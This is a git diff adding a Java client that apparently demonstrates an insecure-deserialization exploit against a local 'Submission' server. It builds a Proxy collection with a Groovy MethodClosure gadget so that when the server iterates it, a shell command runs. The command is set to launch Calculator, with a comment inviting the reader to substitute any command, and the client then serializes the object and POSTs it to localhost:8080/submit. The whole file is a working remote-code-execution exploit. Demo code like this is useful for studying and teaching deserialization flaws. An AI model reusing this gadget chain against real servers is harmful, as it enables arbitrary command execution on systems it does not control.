|
| 1 | +package com.cisco.amp.client; |
| 2 | + |
| 3 | +import com.cisco.amp.server.Submission; |
| 4 | +import org.codehaus.groovy.runtime.ConvertedClosure; |
| 5 | +import org.codehaus.groovy.runtime.MethodClosure; |
| 6 | +import org.springframework.http.HttpEntity; |
| 7 | +import org.springframework.http.ResponseEntity; |
| 8 | +import org.springframework.web.client.RestTemplate; |
| 9 | + |
| 10 | +import java.io.ByteArrayOutputStream; |
| 11 | +import java.io.IOException; |
| 12 | +import java.io.ObjectOutputStream; |
| 13 | +import java.lang.reflect.Proxy; |
| 14 | +import java.util.ArrayList; |
| 15 | +import java.util.Collection; |
| 16 | + |
| 17 | +public class Client { |
| 18 | + |
| 19 | + //Change this string to be the relevant calculator on your system or whatever you like |
| 20 | + private static final String COMMAND = "/Applications/Calculator.app/Contents/MacOS/Calculator"; |
| 21 | + |
| 22 | + private static Collection<String> makeNiceCollection() { |
| 23 | + Collection<String> niceCollection = new ArrayList<>(); |
| 24 | + niceCollection.add("Hello World!"); |
| 25 | + return niceCollection; |
| 26 | + } |
| 27 | + |
| 28 | + private static Collection<String> makeExploitCollection() { |
| 29 | + |
| 30 | + //Create a mock collection with the reflection api that only implements iterator which we know will be called on the server |
| 31 | + |
| 32 | + MethodClosure methodClosure = new MethodClosure(COMMAND, "execute"); |
| 33 | + ConvertedClosure iteratorHandler = new ConvertedClosure(methodClosure, "iterator"); |
| 34 | + |
| 35 | + Collection exploitCollection = (Collection) Proxy.newProxyInstance( |
| 36 | + Client.class.getClassLoader(), new Class<?>[]{Collection.class}, iteratorHandler |
| 37 | + ); |
| 38 | + |
| 39 | + return exploitCollection; |
| 40 | + } |
| 41 | + |
| 42 | + public static void main(String[] args) throws IOException { |
| 43 | + //use makeNiceCollection or makeExploitCollection for normal or exploit operation respectively |
| 44 | + Submission submission = new Submission(makeExploitCollection()); |
| 45 | + |
| 46 | + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); |
| 47 | + new ObjectOutputStream(byteArrayOutputStream).writeObject(submission); |
| 48 | + byte[] bytes = byteArrayOutputStream.toByteArray(); |
| 49 | + |
| 50 | + HttpEntity<byte[]> entity = new HttpEntity<>(bytes); |
| 51 | + RestTemplate restTemplate = new RestTemplate(); |
| 52 | + ResponseEntity<String> response = restTemplate.postForEntity("http://localhost:8080/submit", entity, String.class); |
| 53 | + System.out.println(response.getBody()); |
| 54 | + } |
| 55 | +} |
0 commit comments